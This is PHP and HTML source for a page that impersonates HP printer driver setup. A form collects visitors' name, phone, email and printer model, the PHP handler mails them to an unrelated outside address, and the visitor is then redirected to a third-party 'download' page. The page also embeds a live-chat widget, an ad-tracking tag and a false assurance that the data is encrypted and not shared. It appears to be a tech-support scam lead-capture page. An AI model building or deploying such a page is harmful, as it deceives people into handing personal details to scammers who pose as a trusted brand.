<?php
// Handle form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $name    = htmlspecialchars(strip_tags($_POST['name']    ?? ''));
    $email   = htmlspecialchars(strip_tags($_POST['email']   ?? ''));
    $phone   = htmlspecialchars(strip_tags($_POST['phone']   ?? ''));
    $printer = htmlspecialchars(strip_tags($_POST['printer'] ?? ''));
    $brand   = htmlspecialchars(strip_tags($_POST['brand']   ?? 'HP'));
    $to      = 'info@my-radiodesk.online';
    $subject = "New $brand Printer Setup Request";
    $body    = "New $brand printer setup form submitted:\n\n"
             . "Name:          $name\n"
             . "Email:         $email\n"
             . "Phone:         $phone\n"
             . "Printer Model: $printer\n"
             . "\nSent from driver setup website.";

    $headers  = "From: noreply@printersetup.info\r\n";
    $headers .= "Reply-To: $email\r\n";
    $headers .= "MIME-Version: 1.0\r\n";
    $headers .= "Content-Type: text/plain; charset=UTF-8\r\n";

    @mail($to, $subject, $body, $headers);

    // Redirect to the specific URL after successful submission
    header('Location: http://digidocco.com/downloding.html');
    exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>Verify Your Details – HP Printer Setup</title>
  <meta name="description" content="Please verify your details to complete HP printer driver installation."/>
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet"/>
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
    body { font-family: 'Inter', sans-serif; background: #f8fafc; color: #222; min-height: 100vh; }

    /* HEADER */
    header {
      display: flex; align-items: center; justify-content: space-between;
      padding: 14px 40px; border-bottom: 1px solid #e0e0e0;
      background: #fff; position: sticky; top: 0; z-index: 100;
    }
    .hp-logo { width: 60px; height: auto; }
    nav a {
      text-decoration: none; color: #333; font-size: 14px; font-weight: 500;
      margin-left: 28px; transition: color .2s;
    }
    nav a:hover { color: #0275d8; }

    /* HERO STRIP */
    .hero-strip {
      background: linear-gradient(135deg, #2b3fa0 0%, #3752c4 50%, #4565e0 100%);
      padding: 40px 60px;
      display: flex; align-items: center; justify-content: space-between;
      position: relative; overflow: hidden;
    }
    .hero-strip::before {
      content: ''; position: absolute; inset: 0;
      background: radial-gradient(ellipse at 80% 50%, rgba(255,255,255,.05) 0%, transparent 55%);
    }
    .hero-strip-text { position: relative; z-index: 2; }
    .hero-strip-text h1 { font-size: 28px; font-weight: 800; color: #fff; margin-bottom: 6px; }
    .hero-strip-text p { font-size: 14px; color: rgba(255,255,255,.8); }
    .hero-strip img {
      position: relative; z-index: 2; width: 200px; height: auto;
      filter: drop-shadow(0 6px 16px rgba(0,0,0,.4));
    }

    /* FORM SECTION */
    .form-section { max-width: 700px; margin: 50px auto; padding: 0 24px 60px; }
    .form-card {
      background: #fff; border-radius: 14px;
      box-shadow: 0 4px 24px rgba(0,0,0,.08);
      padding: 40px 44px;
    }
    .form-card h2 { font-size: 20px; font-weight: 700; color: #111; margin-bottom: 6px; }
    .form-card .sub { font-size: 13px; color: #666; margin-bottom: 28px; padding-bottom: 20px; border-bottom: 1px solid #e5e7eb; }

    .form-row { margin-bottom: 20px; }
    .form-row label { display: block; font-size: 13px; font-weight: 600; color: #374151; margin-bottom: 6px; }
    .form-row input,
    .form-row select {
      width: 100%; padding: 12px 16px; border: 1.5px solid #d1d5db;
      border-radius: 8px; font-size: 14px; color: #222;
      outline: none; transition: border-color .2s;
      font-family: inherit; background: #fff;
    }
    .form-row input:focus,
    .form-row select:focus { border-color: #3b82f6; box-shadow: 0 0 0 3px rgba(59,130,246,.12); }
    .form-row .hint { font-size: 11px; color: #9ca3af; margin-top: 4px; }

    .form-row.two-col { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; }

    .required { color: #ef4444; }

    .btn-submit {
      width: 100%; padding: 14px; margin-top: 8px;
      background: linear-gradient(135deg, #1d4ed8, #2563eb);
      color: #fff; font-size: 16px; font-weight: 700; border: none;
      border-radius: 8px; cursor: pointer; transition: opacity .2s;
      letter-spacing: .3px;
    }
    .btn-submit:hover { opacity: .88; }

    .secure-note {
      display: flex; align-items: center; gap: 8px; justify-content: center;
      margin-top: 16px; font-size: 12px; color: #9ca3af;
    }

    @media (max-width: 600px) {
      header { padding: 12px 20px; }
      .hero-strip { flex-direction: column; padding: 28px 24px; text-align: center; }
      .hero-strip img { display: none; }
      .form-card { padding: 28px 24px; }
      .form-row.two-col { grid-template-columns: 1fr; }
    }
  </style>
</head>
<body>

<!-- HEADER -->
<header>
  <img src="https://upload.wikimedia.org/wikipedia/commons/a/ad/HP_logo_2012.svg" alt="HP Logo" class="hp-logo"/>
  <nav>
    <a href="home.html">Home</a>
    <a href="#">Envy</a>
    <a href="#">Inkjet</a>
    <a href="#">LaserJet</a>
  </nav>
</header>

<!-- HERO STRIP -->
<div class="hero-strip">
  <div class="hero-strip-text">
    <h1>Please Verify The Following Details</h1>
    <p>Complete the form below to begin your HP printer driver download.</p>
  </div>
  <img src="printer-color.png" alt="HP Printer"/>
</div>

<!-- FORM -->
<div class="form-section">
  <div class="form-card">
    <h2>Your Information</h2>
    <p class="sub">Please fill in the details below to proceed with the driver download. All fields marked <span class="required">*</span> are required.</p>

    <form method="POST" action="form-details.php" id="setupForm">
      <input type="hidden" name="brand" id="brandField" value="HP" />

      <div class="form-row two-col">
        <div>
          <label>Full Name <span class="required">*</span></label>
          <input type="text" name="name" placeholder="John Smith" required/>
        </div>
        <div>
          <label>Phone Number <span class="required">*</span></label>
          <input type="tel" name="phone" placeholder="+1 (555) 000-0000" required/>
        </div>
      </div>

      <div class="form-row">
        <label>Email Address <span class="required">*</span></label>
        <input type="email" name="email" placeholder="you@example.com" required/>
        <div class="hint">Your download link will be sent to this address.</div>
      </div>

      <div class="form-row">
        <label>Printer Model <span class="required">*</span></label>
        <input type="text" name="printer" id="printerField" placeholder='e.g. HP Envy 6055, DeskJet 2755...' required/>
      </div>



      <button type="submit" class="btn-submit">Complete Setup &amp; Download Driver</button>

      <div class="secure-note">
        🔒 Your information is encrypted and secure. We do not share your data.
      </div>

    </form>
  </div>
</div>

<!--Start of Tawk.to Script-->
<script type="text/javascript">
var Tawk_API=Tawk_API||{}, Tawk_LoadStart=new Date();
(function(){
var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0];
s1.async=true;
s1.src='https://embed.tawk.to/5e58d6cb298c395d1cea4088/default';
s1.charset='UTF-8';
s1.setAttribute('crossorigin','*');
s0.parentNode.insertBefore(s1,s0);
})();
</script>
<!--End of Tawk.to Script-->

<script>
document.addEventListener('DOMContentLoaded', () => {
  const brand = localStorage.getItem('printerBrand') || 'HP';
  const model = localStorage.getItem('printerModel');
  
  if (model) document.getElementById('printerField').value = model;
  const brandField = document.getElementById('brandField');
  if (brandField) brandField.value = brand;

  document.title = `Verify Your Details – ${brand} Printer Setup`;

  const pTags = document.querySelectorAll('.hero-strip-text p');
  if (pTags.length > 0) {
    pTags[0].textContent = `Complete the form below to begin your ${brand} printer driver download.`;
  }

  const logoImg = document.querySelector('.hp-logo');
  if (logoImg) {
    const textLogo = document.createElement('div');
    textLogo.textContent = brand;
    textLogo.style.fontSize = '24px';
    textLogo.style.fontWeight = '900';
    textLogo.style.color = '#111';
    textLogo.style.letterSpacing = '1px';
    textLogo.style.textTransform = 'uppercase';
    logoImg.replaceWith(textLogo);
  }
});
</script>

<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=AW-18251380190"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'AW-18251380190');
</script>
</body>
</html>